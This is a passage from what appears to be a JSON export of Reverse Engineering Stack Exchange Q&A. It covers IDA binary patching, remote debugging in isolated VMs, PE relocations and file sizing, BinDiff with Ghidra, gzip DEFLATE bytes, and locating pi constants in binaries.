        "CreationDate": "2019-10-17T23:16:50.487",
        "Body": "<p>I am learning IDA pro on a test binary and I'd like to return a static value from this function:</p>\n\n<pre><code>; __int64 __fastcall sub_B580(char *name)\nsub_B580 proc near\n\npai= qword ptr -70h\nreq= addrinfo ptr -68h\nservice= byte ptr -2Fh\nvar_20= qword ptr -20h\n\n; __unwind {\npush    rbp\npush    rbx\nsub     rsp, 68h\nmov     rax, fs:28h\nmov     [rsp+78h+var_20], rax\nxor     eax, eax\ntest    rdi, rdi\njz      loc_B676\n\n</code></pre>\n",
        "Title": "Modify function to return a static value",
        "Tags": "|ida|",
        "Answer": "<p>Returning a static value from any function is quite easy. I assume that your calling convention takes return value in the (e|r)ax register.</p>\n\n<p>So to return some value, just patch your function to look like</p>\n\n<pre><code>mov rax, &lt;value&gt;\nret\n</code></pre>\n\n<p>Lets consider an example.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint test(int n) {\n    int i, sm = 0;\n    for (i = 1; i &lt;= n; i++)\n        sm += (i * i);\n    return sm;\n}\n\nint main(int argc, char **argv) {\n    int n;\n    scanf(\"%d\", &amp;n);\n    printf(\"%d\\n\", test(n));\n    return 0;\n}\n</code></pre>\n\n<p>When run this looks like</p>\n\n<pre><code>$ ./test\n9\n285\n$ ./test\n10\n385\n</code></pre>\n\n<p>When compiled this looks like</p>\n\n<pre><code>.text:0000000000000720                 public test\n.text:0000000000000720 test            proc near               ; CODE XREF: main+2C\u2193p\n.text:0000000000000720\n.text:0000000000000720 var_14          = dword ptr -14h\n.text:0000000000000720 var_8           = dword ptr -8\n.text:0000000000000720 var_4           = dword ptr -4\n.text:0000000000000720\n.text:0000000000000720 ; __unwind {\n.text:0000000000000720                 push    rbp\n.text:0000000000000721                 mov     rbp, rsp\n.text:0000000000000724                 mov     [rbp+var_14], edi\n.text:0000000000000727                 mov     [rbp+var_8], 0\n.text:000000000000072E                 mov     [rbp+var_4], 1\n.text:0000000000000735                 jmp     short loc_745\n.text:0000000000000737 ; ---------------------------------------------------------------------------\n.text:0000000000000737\n.text:0000000000000737 loc_737:                                ; CODE XREF: test+2B\u2193j\n.text:0000000000000737                 mov     eax, [rbp+var_4]\n.text:000000000000073A                 imul    eax, [rbp+var_4]\n.text:000000000000073E                 add     [rbp+var_8], eax\n.text:0000000000000741                 add     [rbp+var_4], 1\n.text:0000000000000745\n.text:0000000000000745 loc_745:                                ; CODE XREF: test+15\u2191j\n.text:0000000000000745                 mov     eax, [rbp+var_4]\n.text:0000000000000748                 cmp     eax, [rbp+var_14]\n.text:000000000000074B                 jle     short loc_737\n.text:000000000000074D                 mov     eax, [rbp+var_8]\n.text:0000000000000750                 pop     rbp\n.text:0000000000000751                 retn\n.text:0000000000000751 ; } // starts at 720\n.text:0000000000000751 test            endp\n</code></pre>\n\n<p>Click on the function start at 0x720.\nGo to Edit -> Patch Program -> Assemble.</p>\n\n<p>In the window opened write</p>\n\n<pre><code>mov eax, 99\n</code></pre>\n\n<p>and press OK.</p>\n\n<p>It will patch the current <code>push rbp</code>.</p>\n\n<p>Finally write</p>\n\n<pre><code>ret\n</code></pre>\n\n<p>press OK and then Cancel to stop patching.</p>\n\n<p>Go to Edit -> Patch Program -> Apply patches to input file</p>\n\n<p>Save binary with the updated changes. Now it runs like</p>\n\n<pre><code>$ ./test\n9\n99\n$ ./test\n10\n99\n$ ./test\n99\n99\n</code></pre>\n"
    },
    {
        "Id": "22344",
        "CreationDate": "2019-10-19T06:53:51.417",
        "Body": "<p>Sorry if this is a stupid question but couldnt find the answer by googling</p>\n\n<p>Right now I analyze a malware by using remote debugger of IDA, and i run the debugger on a isolated VM that has shared a folder to my IDA's VM, as of right now the way i analyze a sample is by putting it on that shared folder so i can run the remote debugger, because if i set the path to a location in my IDA's VM then it won't work (it says wrong parameters), so it looks like the sample has to be in a location where both my IDA's VM and the isolated VM can reach (i think) </p>\n\n<p>so to solve this i just put samples i want to analyze in the shared folder</p>\n\n<p>the problem is that the .idb file spawns there as well and if its a ransomware then my .idb file will get ruined  ( i have to say that IDA's VM is also in a isolated host only network)</p>\n\n<p>so two questions :</p>\n\n<ol>\n<li><p>am i approaching this right? is there an easier way for me to use a remote debugger without using a shared folder?</p></li>\n<li><p>how to change the .idb's default path? so i can put the sample in the shared folder or somewhere else but the .idb gets generated somewhere else? </p></li>\n</ol>\n",
        "Title": "What is the best approach for using IDA's remote debugger for analyzing a sample with two VMs?",
        "Tags": "|ida|binary-analysis|malware|",
        "Answer": "<p>There is no need to have the IDB on the remote machine or keep the .idb and executable in the same folder. After creating the IDB you can even delete the input file or move it elsewhere; IDB is completely self-contained and does not need the file anymore.</p>\n\n<p>Here's a suggested workflow:</p>\n\n<ol>\n<li>Open the sample in IDA on the analysis VM/host to create the IDB.</li>\n<li><p>Copy the sample and remote debug server to the debugging VM. You can now delete it from the analysis machine so you don't accidentally run it (or rename). Let's assume the sample is in <code>C:\\temp\\sample.exe</code> on the debugging VM. </p></li>\n<li><p>start the debug server</p></li>\n<li><p>In IDA, in Debugging-Process options, specify the remote host/port and change the path to the executable as it is <strong>on the remote machine</strong> (i.e. <code>C:\\tmp\\sample.exe</code>).</p></li>\n<li><p>debug away!</p></li>\n</ol>\n"
    },
    {
        "Id": "22345",
        "CreationDate": "2019-10-19T08:52:32.540",
        "Body": "<p>I was reading about mapped and unmapped PE format, and how the alignment between sections changes after loading it into memory and that caused two question for me:</p>\n\n<ol>\n<li><p>is the relocation table used before the PE is loaded into memory? (just before loading)</p></li>\n<li><p>how does the loader deal with relative addresses and offsets after loading it into memory considering the offsets between sections changes? for example if i have a instruction that addresses another section using relative addresses (offset from its own location), but not an absolute address, then does the loader has to deal with these relative addresses as well? if so, then this means the relocation table fixes instruction that don't use absolute addresses as well? </p></li>\n</ol>\n",
        "Title": "Is relocation table only used for absolute addresses?",
        "Tags": "|windows|pe|memory|operating-systems|",
        "Answer": "<p>Relocations are processed by the loader, just like imports and everything else in the PE header is. All of this is processed before executing the entry point. Typically speaking relocations will be initially set to the VA (virtual address) of the target using preferred image base address. Of course in many cases the binary will not be loaded at the base address, so it's a simple <code>reloc += (mapped_address - preferred_address)</code>.  </p>\n\n<p>For example, consider an instruction of <code>mov eax, 0x40100000</code> assuming a preferred address of <code>0x40000000</code>. The instruction bytes will be <code>{ 0xB8, 0x00, 0x00, 0x10, 0x40 }</code> with offset 0x1 holding the relocation. If the binary is loaded at <code>0x50000000</code> then the offset would be <code>(0x50000000 - 0x40000000) = 0x10000000</code>. This would set our example relocation to <code>(0x40100000 + 0x10000000) = 0x50100000</code>.</p>\n"
    },
    {
        "Id": "22351",
        "CreationDate": "2019-10-20T00:26:39.770",
        "Body": "<p>I'm using x32dbg and I've set a hardware memory breakpoint. It triggers successfully for a specified module and the debugger pauses and a message on the bottom says:</p>\n\n<pre><code>Hardware breakpoint (byte, read/write) at mscorlib.ni.69`9d3d9 (6919d3d9)!\n</code></pre>\n\n<p>All good so far. Now naturally I want to go to address <code>6919d3d9</code>, which I assume to be the starting memory address of the code that accessed my target memory location.</p>\n\n<p>So I go to Breakpoints view (<kbd>Alt</kbd>+<kbd>B</kbd>) double click on the breakpoint and it gets me to Dump, ie the memory view.. This is where I'm confused. I can't find out how to go to address <code>6919D3D9</code> to see the disassembled instructions. Kindly help if you can.</p>\n",
        "Title": "How to navigate Disassembly view to the current instruction location?",
        "Tags": "|disassembly|x64dbg|breakpoint|memory-dump|",
        "Answer": "<p>Normally the debugger should pause at the location where breakpoint is triggered, or you can use \"jump to EIP\" or similar command to navigate to the instruction being executed (which should be the one that triggered the exception).</p>\n"
    },
    {
        "Id": "22362",
        "CreationDate": "2019-10-21T17:49:52.730",
        "Body": "<p>For example I have a function sub_7FFA95D8F120. I've checked out <strong>Views->Segments</strong> which shows .text segment. It seems that I am missing out something important. It would be great if someone explained or gave a link to explanation.</p>\n",
        "Title": "How can I determine a module to which function is related with IDA Pro",
        "Tags": "|ida|binary-analysis|",
        "Answer": "<p>At debug time:</p>\n\n<ul>\n<li>segments belonging to runtime-loaded DLLs are marked with their names (<code>kernel32.dll</code> etc.),</li>\n<li>non-module areas (e.g. heap) have names like <code>debug038</code>,</li>\n<li>segments coming from the IDB retain their original names, </li>\n</ul>\n\n<p>so <code>.text</code> most likely belongs to the input .exe/.dll (whichever was used to create the IDB). You can also check the <em>Modules</em> view to see the start and size of each module in the process.</p>\n"
    },
    {
        "Id": "22368",
        "CreationDate": "2019-10-22T16:08:46.913",
        "Body": "<p>I am following a RE tutorial, and the guy is using Ollydbg while I use x64dbg... and I don't find all the descriptions in that Olly has, and it's quite annoying !\nThere is an example from the two programs running the same Reverseme :\n<a href=\"https://i.stack.imgur.com/66DGV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/66DGV.png\" alt=\"x64dbg  screenshot\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/2owEE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2owEE.png\" alt=\"Ollydbg  screenshot\"></a></p>\n\n<p>How can I enable the same detailed descriptions in x64dbg? Is it even possible?</p>\n",
        "Title": "Detailed API call descriptions not available in x64dbg",
        "Tags": "|ollydbg|x64dbg|",
        "Answer": "<p>Out of the box, x64dbg doesn't have a feature to show Win API call descriptions unlike OllyDbg. </p>\n\n<p>For that, you need to use a plugin like <a href=\"https://github.com/ThunderCls/xAnalyzer\" rel=\"nofollow noreferrer\">xAnalyzer</a> or the older <a href=\"https://github.com/mrfearless/APIInfo-Plugin-x86\" rel=\"nofollow noreferrer\">APIInfo Plugin</a>.</p>\n"
    },
    {
        "Id": "22372",
        "CreationDate": "2019-10-23T06:16:56.777",
        "Body": "<p>I'm trying to learn how to use <a href=\"https://www.zynamics.com/bindiff.html\" rel=\"noreferrer\">BinDiff</a> tool, but I can't figure out how to open two binaries to do the comparison. While skimming through their manual, it seems like I need to have IDA Pro for that.</p>\n\n<p>Can I use BinDiff without IDA Pro (say, with just IDA free)?</p>\n",
        "Title": "Do I need to have IDA Pro to use the BinDiff tool?",
        "Tags": "|bin-diffing|tool-bindiff|",
        "Answer": "<p>Yes, this is now possible with Ghidra.</p>\n\n<p>The latest version, BinDiff 6, has experimental support for the Ghidra disassembler. It ships with an extension that allows to export Ghidra disassembly into the .BinExport format needed for diffing.</p>\n\n<h2>Required software</h2>\n\n<ul>\n<li>BinDiff 6 from the <a href=\"https://www.zynamics.com/software.html\" rel=\"noreferrer\">zynamics website</a></li>\n<li>A recent Java runtime (OpenJDK 11 or later)</li>\n<li>Ghidra 9.1.2 (<a href=\"https://ghidra-sre.org/releaseNotes_9.1.2.html\" rel=\"noreferrer\">https://ghidra-sre.org/releaseNotes_9.1.2.html</a>)</li>\n</ul>\n\n<h2>Installing the Ghidra Extension</h2>\n\n<p>After installing BinDiff, locate the \"BinExport\" extension in your installation folder.</p>\n\n<p>The defaults are</p>\n\n<ul>\n<li>Windows: <code>C:\\Program Files\\BinDiff\\extra\\ghidra</code></li>\n<li>Linux: <code>/opt/bindiff/extra/ghidra</code></li>\n<li>macOS: <code>/Applications/BinDiff/Extra/Ghidra</code></li>\n</ul>\n\n<p>If you have located the <code>ghidra_BinExport.zip</code> file, the extension can be installed like any other Ghidra extension:</p>\n\n<ol>\n<li>Start Ghidra, then select <code>File</code>|<code>Install Extensions...</code>.</li>\n<li>Click the <code>+</code> button to <code>Add extension</code>.</li>\n<li><p>In the <code>Select Extension</code> dialog, navigate to the directory containing\n<code>ghidra_BinExport.zip</code>.</p></li>\n<li><p>Select the .zip file and click <code>OK</code></p></li>\n<li>Click <code>OK</code> to confirm and again to dismiss the restart message. Then restart\nGhidra.</li>\n</ol>\n\n<h2>Usage</h2>\n\n<p>This version of the Java based exporter for Ghidra has the following features\ncompared to the native C++ version for IDA Pro:</p>\n\n<pre><code>|                                         | Ghidra | IDA |\n| --------------------------------------- | ------ | --- |\n| Protocol Buffer based full export       |    \u2713\u00b9  |  \u2713  |\n| Statistics text file                    |    -   |  \u2713  |\n| Text format for debugging               |    -   |  \u2713  |\n| BinNavi export into PostgreSQL database |    -   |  \u2713  |\n\n\u00b9 No operand trees\n</code></pre>\n\n<h3>Verifying the installation version</h3>\n\n<ol>\n<li>In Ghidra, select <code>File</code>|<code>Install Extensions...</code>.</li>\n<li>Verify that <code>BinExport</code> is listed and has the correct <code>Install Path</code></li>\n</ol>\n\n<h3>Invocation</h3>\n\n<ol>\n<li>In Ghidra, open a project or create a new one.</li>\n<li>If not already done, open the binary to export in the Code Browser tool and\nrun Ghidra's initial analysis. You may want to enable the \"aggressive\ninstruction finder\" option to get better coverage in the export.</li>\n<li>In the project view, right-click the binary to export and select <code>Export...</code></li>\n<li>From the drop-down list, select <code>Binary BinExport (v2) for BinDiff</code></li>\n<li>Select a path for the output file. This can be the original filename, as\n<code>.BinExport</code> will be appended.</li>\n<li>Click <code>OK</code>.</li>\n</ol>\n\n<h3>BinDiff Exported Files</h3>\n\n<p>Exported files can now be diffed and the results displayed in its UI:</p>\n\n<ol>\n<li>Export two binaries following the instructions above. The\nfollowing steps assume <code>primary.BinExport</code> and <code>secondary.BinExport</code>.</li>\n<li><p>From the command-line, run the BinDiff engine with</p>\n\n<pre><code>bindiff primary.BinExport secondary.BinExport\n</code></pre>\n\n<p>This will create a file <code>primary_vs_secondary.BinDiff</code> in the current\ndirectory. The <code>bindiff</code> command should be in your system path.</p></li>\n<li><p>Launch the BinDiff UI, either via <code>bindiff --ui</code> or using the launcher for\nyour operating system.</p></li>\n<li><p>Create a new workspace or open an existing one.</p></li>\n<li><p>Select <code>Diffs</code>|<code>Add Existing Diff...</code>.</p></li>\n<li><p>Under <code>Choose Diff</code>, select the <code>primary_vs_secondary.BinDiff</code> created in\nstep 2.</p></li>\n<li><p>Click <code>OK</code>, followed by <code>Add</code>. The diff is now shown in the tree view on the\nleft and can be opened by double-clicking it.</p></li>\n<li><p>Use BinDiff normally to display the call graph or flow graphs of matched\nfunctions.</p></li>\n</ol>\n\n<h2>Open Source</h2>\n\n<p>Finally, the BinExport extension (and also the IDA Pro plugin) is open source and available <a href=\"https://github.com/google/binexport\" rel=\"noreferrer\">on GitHub</a>. The <code>v11</code> tag corresponds to BinDiff 6.</p>\n"
    },
    {
        "Id": "22384",
        "CreationDate": "2019-10-24T17:33:00.983",
        "Body": "<p>I am using some code like this </p>\n\n<pre><code>   import idaapi\n   print(idaapi.get_32bit(0x0055f4a0))\n</code></pre>\n\n<p>it must return 32 bit of address as int</p>\n\n<p>but it returns 1408011093\nis it wrong conversion?\nits length is less than the maximum length of int </p>\n\n<p>but it somehow changes the value \nI expected to get return value like \u202d5633184\u202c</p>\n",
        "Title": "IDApython confused with get_32bit(ea) function behavior",
        "Tags": "|idapython|",
        "Answer": "<p><code>get_32bit(0x0055f4a0)</code> returns the 32-bit value in your IDB at the address <code>0x0055f4a0</code>. 1408011093 decimal is <code>0x53EC8B55</code> in hex which fits in 32 bits. In little endian format this corresponds to the byte sequence <code>55 8B EC 53</code>, so 0x0055f4a0 is likely a function start.</p>\n\n<p>To convert hex to decimal you don't need IDA APIs but just standard Python functionality, e.g. <code>str(int(0x0055f4a0))</code>. But this is best discussed on Stack Overflow since that's a programming question and not RE.</p>\n"
    },
    {
        "Id": "22400",
        "CreationDate": "2019-10-26T20:07:04.657",
        "Body": "<p>I'm reading <a href=\"http://www.zlib.org/rfc-gzip.html\" rel=\"nofollow noreferrer\">gzip format specification</a>, trying to understand byte-to-byte the following minimal example (generated using <code>echo -n | gzip &gt; /tmp/a.gz</code>):</p>\n\n<pre><code>00000000  1f 8b 08 00 70 3c b4 5d  00 03 03 00 00 00 00 00  |....p&lt;.]........|\n00000010  00 00 00 00                                       |....|\n00000014\n</code></pre>\n\n<p>I managed to map most of the bytes, but the \"03 00\" is something I cannot interpret. I wrote a Python script to fuzz different values for the \"03\" byte, but nothing other than that byte is allowed:</p>\n\n<pre><code>[15:13:05]&gt;&gt;&gt; import subprocess\n[15:13:08]&gt;&gt;&gt; results = {}                  \n[15:13:10]&gt;&gt;&gt; for i in range(256): results[i] = subprocess.Popen(f'''echo '1f8b0800703cb45d0003{hex(i)[2:]:0&gt;2}000000000000000000'  | xxd -r -p |  zcat''', shell=True, stderr=subprocess.PIPE).stderr.read()\n... \nPp0\ufffd` \ufffd\ufffd@\ufffdX\u2592\ufffdx8\ufffdh(\ufffdH\ufffd[15:13:25]&gt;&gt;&gt; \n[15:13:26]&gt;&gt;&gt; results2 = {value: list(k for k in results if results[k] == value) for value in results.values()}\n[15:13:31]&gt;&gt;&gt; results2\n{b'\\ngzip: stdin: invalid compressed data--format violated\\n': [0, 1, 2, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 22, 23, 24, 25, 26, 30, 31, 32, 33, 34, 38, 39, 40, 41, 42, 46, 47, 48, 49, 50, 54, 55, 56, 57, 58, 62, 63, 64, 65, 66, 70, 71, 72, 73, 74, 78, 79, 80, 81, 82, 86, 87, 88, 89, 90, 94, 95, 96, 97, 98, 102, 103, 104, 105, 106, 110, 111, 112, 113, 114, 118, 119, 120, 121, 122, 126, 127, 128, 129, 130, 134, 135, 136, 137, 138, 142, 143, 144, 145, 146, 150, 151, 152, 153, 154, 158, 159, 160, 161, 162, 166, 167, 168, 169, 170, 174, 175, 176, 177, 178, 182, 183, 184, 185, 186, 190, 191, 192, 193, 194, 198, 199, 200, 201, 202, 206, 207, 208, 209, 210, 214, 215, 216, 217, 218, 222, 223, 224, 225, 226, 230, 231, 232, 233, 234, 238, 239, 240, 241, 242, 244, 245, 246, 247, 248, 249, 250, 252, 253, 254, 255], b'': [3], b'\\ngzip: stdin: unexpected end of file\\n': [4, 5, 11, 12, 13, 19, 20, 21, 27, 28, 29, 35, 36, 37, 43, 44, 45, 51, 52, 53, 59, 60, 61, 67, 68, 69, 75, 76, 77, 83, 84, 85, 91, 92, 93, 99, 100, 101, 107, 108, 109, 115, 116, 117, 123, 124, 125, 131, 132, 133, 139, 140, 141, 147, 148, 149, 155, 156, 157, 163, 164, 165, 171, 172, 173, 179, 180, 181, 187, 188, 189, 195, 196, 197, 203, 204, 205, 211, 212, 213, 219, 220, 221, 227, 228, 229, 235, 236, 237, 243, 251]}\n</code></pre>\n\n<p>What's this <code>0x03 0x00</code> and where in the gzip (or <a href=\"https://www.w3.org/Graphics/PNG/RFC-1951#block-format\" rel=\"nofollow noreferrer\">DEFLATE</a>) documentation can I find it?</p>\n",
        "Title": "How to interpret the final 0x03 0x00 in this minimal gzip sample?",
        "Tags": "|decompress|",
        "Answer": "<p>If you read <a href=\"https://zlib.net/zlib-1.2.11.tar.gz\" rel=\"nofollow noreferrer\">zlib source code</a> alongside the <a href=\"https://www.rfc-editor.org/rfc/rfc1951\" rel=\"nofollow noreferrer\">DEFLATE Compressed Data Format Specification</a> you can find where they come from.</p>\n<p>The bits in those bytes represent the start and end of the compressed stream.</p>\n<p>Specifically they come from 2 relevant places in the source code -</p>\n<pre><code>// trees.c\n// line 978\n\n// _tr_flush_block \n\nsend_bits(s, (STATIC_TREES&lt;&lt;1)+last, 3);\n</code></pre>\n<p>Where here <code>last=1</code> and <code>STATIC_TREES=1</code>\n(these correspond to <code>BFINAL</code> and <code>BTYPE</code> in the specification)\nThis outputs 3 bits 1, 1, 0 into the compressed file.</p>\n<p>These indicate that the compressed block uses the 'fixed tree' and is also the last block.</p>\n<p>Then it indicates that it's reached the end of the block -</p>\n<pre><code>// trees.c\n// line 1108\n\n// compress_block\n\nsend_code( c, END_BLOCK, ltree )\n</code></pre>\n<p>The end-of-block code is 256 which for the fixed huffman tree corresponds to 7 zero bits. (See 3.2.6 in the DEFLATE specification.)\nHence this outputs 7 bits 0, 0, 0, 0, 0, 0, 0 to the compressed file.</p>\n<p>This gives us 10 bits in total -</p>\n<pre><code>1 1 0 0 0 0 0 0 0 0\n</code></pre>\n<p>Converting to bytes according the specification we get -</p>\n<pre><code>00000011 00000000, or\n0x03, 0x00\n</code></pre>\n<p>These are the values that you are seeing.</p>\n"
    },
    {
        "Id": "22406",
        "CreationDate": "2019-10-28T07:11:20.100",
        "Body": "<p>I'm analyzing a Seagate HDD that provides a serial boot console that allows reading/writing bytes to memory and setting an address pointer.</p>\n\n<p>There's a block of memory from <code>0x0</code> to <code>0x20000</code> and then it <em>repeats</em> all the way to <code>0x100000</code>. This isn't just a copy - if I write a byte to <code>0x20000</code> or <code>0x40000</code> the data at location <code>0x0</code> also changes. At <code>0x100000</code> there's another <code>128k</code> block that is mirrored over and over until <code>0x200000</code>. From <code>0x400000</code> the first block of memory is mirrored again and again.</p>\n\n<p>Here's a map:</p>\n\n<pre><code>1) 0x000000 - 0x020000\n*) (mirrors of block 1)\n2) 0x100000 - 0x120000\n*) (mirrors of block 2)\n3) 0x200000 - 0x300000\n4) 0x300000 - 0x400000\n*) (mirrors of block 1)\n</code></pre>\n\n<p>The <code>MCU</code> is some kind of <code>ARM</code> processor. Is this some hardware memory-mapping feature of <code>ARM</code>, is it setup by the <code>OS</code>, or something else?</p>\n",
        "Title": "Multiple memory regions mapped to same data",
        "Tags": "|firmware|memory|",
        "Answer": "<p>The block selection logic just looks at the 4 most significant bits of the address, this is easily implemented by a multiplexer whose outputs feed into the enable pin of each memory chip. An 3 bit multiplexer and an OR gate (if active high) is enough to implement this scheme.</p>\n\n<p>The mirroring within a block happens by not connecting the next set of significant bits to the memory chip, (likely because it just doesn't have the address space).</p>\n\n<p>tl;dr it's a hardware memory map based on how the controller and memory chips are connected on the PCB. And it's something that needs a redesign to adjust.</p>\n"
    },
    {
        "Id": "22409",
        "CreationDate": "2019-10-28T15:04:23.350",
        "Body": "<p>Given a large (~14MB) binary compiled for a X86 64-bit system, what would be the basic steps to go through in order to find the usage of Pi (\u03c0) for calculation of a certain parameter (flag)?</p>\n\n<p>I'm rather new at this, and I've tried looking through strings to find different mathematical terms and numbers, and I've also gone over the Functions window, and found names such as <code>_tan</code>, <code>_pow</code>, <code>_sqrt</code>, <code>_sin</code>, etc., but no mention of Pi specifically. </p>\n\n<p>Can anyone recommend another way to approach this? \nUnfortunately I cannot share the specific binary I am working on. </p>\n",
        "Title": "Finding a mathematical calculation which uses Pi within binary",
        "Tags": "|ida|x86|static-analysis|",
        "Answer": "<p>There's a couple of likely possibilities for how the value of Pi is included in the code -</p>\n\n<p>1) It is calculated using trig functions. e.g. </p>\n\n<pre><code>4.0 * atan( 1.0 )\n</code></pre>\n\n<p>2) It is stored as a floating-point constant. In hexadecimal representation these could be -</p>\n\n<pre><code>0x40490FDB            // 32-bit floating point\n0x400921FB54442D18    // 64-bit floating point\n</code></pre>\n\n<p>However, you need to be aware of compiler optimisations, including <a href=\"https://en.wikipedia.org/wiki/Constant_folding\" rel=\"nofollow noreferrer\">constant folding</a>.</p>\n\n<p>Even if the source code uses my first possibility, the compiler may optimise it to a floating-point constant. (i.e. my 2nd possibility)</p>\n\n<p>Then, if the value Pi is only ever used in contexts where it appears in calculations with other constant values, the compiler may perform that part of any calculations at compile time and include only the result in the object file.\ne.g.</p>\n\n<pre><code>pi = 4.0 * atan( 1.0 );                   // may become = 3.1415926536..\ncircumference = 2.0 * pi * radius;        // may become = 6.2831853.. * radius\ndegrees = radians * 180 / pi;             // may become = radians * 57.2957795..\nresult = fourier_integral / (2.0 * pi);   // may become = fourier_integral * 0.1591549..\n</code></pre>\n\n<p>So, in summary, you might not find the value of Pi at all and may have to search for likely related constant values.</p>\n"
    },
    {
        "Id": "22413",
        "CreationDate": "2019-10-28T22:40:11.480",
        "Body": "<p>What I am trying to do is calculate the size of a PE through it's headers. I am using WinDbg's Javascripting and in this case, it will mostly be for drivers. The idea is to dump a driver from memory through WinDbg and I can do it by dumping the BaseAddress to BaseAddress+ImageSize. The ImageSize isn't really the actual size of it on disk and I would like it to be as similar as possible, almost like copy/pasting.</p>\n\n<p>I found this post: <a href=\"https://stackoverflow.com/questions/29587560/self-inspection-of-the-pe-format\">https://stackoverflow.com/questions/29587560/self-inspection-of-the-pe-format</a>\nI am able to get the full size on one driver, easily:</p>\n\n<pre><code>0: kd&gt; !dh HEVD\n--snipped--\nSECTION HEADER #7\n  .reloc name\n      14 virtual size\n   8B000 virtual address\n     200 size of raw data\n    6E00 file pointer to raw data\n\n0: kd&gt; ? 8b000 + 14\nEvaluate expression: 569364 = 00000000`0008b014\n0: kd&gt; ? 6e00 + 200\nEvaluate expression: 28672 = 00000000`00007000\n</code></pre>\n\n<p>The person mentioned that you should add the highest value for PointerToRawData against the SizeOfRawData, which is usually the last section. The size for this particular driver is 28,672 bytes but this doesn't always work for all drivers. </p>\n\n<p>Here's an example of where it doesn't work:</p>\n\n<pre><code>0: kd&gt; !dh RTCore64\n--snipped--\n400 size of headers\n--snipped--\nSECTION HEADER #5\n    INIT name\n     258 virtual size\n    5000 virtual address\n     400 size of raw data\n    1600 file pointer to raw data\n       0 file pointer to relocation table\n       0 file pointer to line numbers\n       0 number of relocations\n       0 number of line numbers\nE2000020 flags\n         Code\n         Discardable\n         (no align specified)\n         Execute Read Write\n0: kd&gt; ? 1600 + 400\nEvaluate expression: 6656 = 00000000`00001a00\n</code></pre>\n\n<p>The file size for this particular driver is 16,384 bytes on disk and 14,024 bytes regular size. </p>\n\n<p>Then I found this post: <a href=\"https://stackoverflow.com/questions/34684660/how-to-determine-the-size-of-an-pe-executable-file-from-headers-and-or-footers\">https://stackoverflow.com/questions/34684660/how-to-determine-the-size-of-an-pe-executable-file-from-headers-and-or-footers</a>\nIt was saying to add the size of headers against the SizeOfRawData for each section. That didn't work. </p>\n\n<pre><code>0: kd&gt; ? 400 + c00 + 200 + 200 + 200 + 400\nEvaluate expression: 6656 = 00000000`00001a00\n</code></pre>\n\n<p>I also tried this answer: <a href=\"https://stackoverflow.com/questions/8197134/how-do-i-determine-exact-pe-image-file-size-using-its-headers\">https://stackoverflow.com/questions/8197134/how-do-i-determine-exact-pe-image-file-size-using-its-headers</a>\nBasically it was said to add the VirtualAddress against VirtualSize, but that doesn't work. It actually gives me a number that's higher than what the actual size is.</p>\n\n<pre><code>0: kd&gt; ? 5000 + 258\nEvaluate expression: 21080 = 00000000`00005258\n</code></pre>\n\n<p>I also tried with this post: <a href=\"https://stackoverflow.com/questions/8193862/the-size-of-a-pe-header\">https://stackoverflow.com/questions/8193862/the-size-of-a-pe-header</a>\nThat also didn't work. There were other posts I looked at, but they all boil down to some variation of those. </p>\n\n<p>Can I get help on why I am unable to? I'm not sure what I'm missing.</p>\n\n<p>Thank you in advance</p>\n\n<p>Also, if you would recommend a better way of doing so, I'm all ears!</p>\n",
        "Title": "How to calculate the size of a PE from headers?",
        "Tags": "|pe|windbg|",
        "Answer": "<p>This is quickly thrown together, it's late.</p>\n\n<pre><code>// Grab first section in the image and initialize our file dump data.\nauto sec = IMAGE_FIRST_SECTION(nt);\nauto img = std::vector&lt;uint8_t&gt;();\n\n// Reserve (more than) enough space for the file and zero initialize it.\nimg.clear();\nimg.reserve(nt-&gt;OptionalHeaders.SizeOfImage, 0);\n\n// Grab base address for both virtual memory and file dump.\nauto img_mem = 0xDEADBEEF;\nauto img_dmp = img.data();\n\n// Save PE header to the file dump.\nmemcpy(img_dmp, img_mem, sec-&gt;PointerToRawData);\n\n// Save each sections data to the file dump, permission checks should be done here as well.\nfor (auto i = 0; i &lt; nt-&gt;FileHeader.NumberOfSections; ++i, ++sec)\n     memcpy(img_dmp + sec-&gt;PointerToRawData, img_mem + sec-&gt;VirtualAddress, sec-&gt;SizeOfRawData);\n</code></pre>\n\n<p>Furthermore, a simple way to get the file size of a PE is just to get the highest sections PointerToRawData and add its SizeOfRawData.</p>\n"
    },
    {
        "Id": "22422",
        "CreationDate": "2019-10-29T22:20:41.683",
        "Body": "<p>I'm trying to decode the file formats for Massive, FM8 and absynth VST synths. The file format is binary with several sections. Reason for this endeavour is to convert the above formats to general vst .fxp format for automated loading and rendering of presets through the vst api.</p>\n\n<p>From experimenting with saving the files when changing synth parameters I've found out following facts about the format:</p>\n\n<ul>\n<li>File starts out with length field</li>\n<li>File contains some fixed length sections introduced by \"DSIN\", \"hsin\" markers  </li>\n<li>The vst binary chunk returned by effGetChunk vst sdk api calls are 99% similar to the .nmsv, .nabs, .nfm8 preset file content</li>\n<li>changing a single parameter in the synth changes some bytes at several places (3-4) in the file</li>\n<li>The main section of the preset file seems to be compressed, while synth parameters should be float values between 0 and 1 they don't seem to be written as floating points into the file - apart from unrecognizable binary values there are plaintext strings e.g. for user defined macros there seems to be some sort of compression applied to the raw data. Compression seems to reference previously encountered strings and reference these strings in later portions of the stream:\nIf \"THIS_IS_A_MACRO_NAME_ABC\" is preceding \"THIS_IS_A_MACRO_NAME_XYZ\" in the stream the second string will be compressed to \"[short sequence of bytes]_XYZ\".</li>\n<li>The files do not seem to contain any dictionary for compression which makes me think the dictionary must be stored somewhere else or there might not be a dictionary at all.</li>\n</ul>\n\n<p>Could anyone help out here:</p>\n\n<ul>\n<li>What compression scheme could be applied here?</li>\n<li>Does anyone know about a similar format that has been successfully decoded?</li>\n</ul>\n\n<p>Added an example file:</p>\n\n<p><a href=\"http://s000.tinyupload.com/index.php?file_id=08960658549599455274\" rel=\"nofollow noreferrer\">http://s000.tinyupload.com/index.php?file_id=08960658549599455274</a> contains a sample file. The string \"TESTSTRING1\" and \"PREFIXTESTSTRING1SUFFIX\" are contained in the uncompressed stream. </p>\n\n<p>Shannon entropy is 5.84154 for the data chunk which is somewhere in the middle between english text and encrypted.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Nb9u7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Nb9u7.png\" alt=\"enter image description here\"></a></p>\n\n<p>Here is an example which should demonstrate how the lenght field is 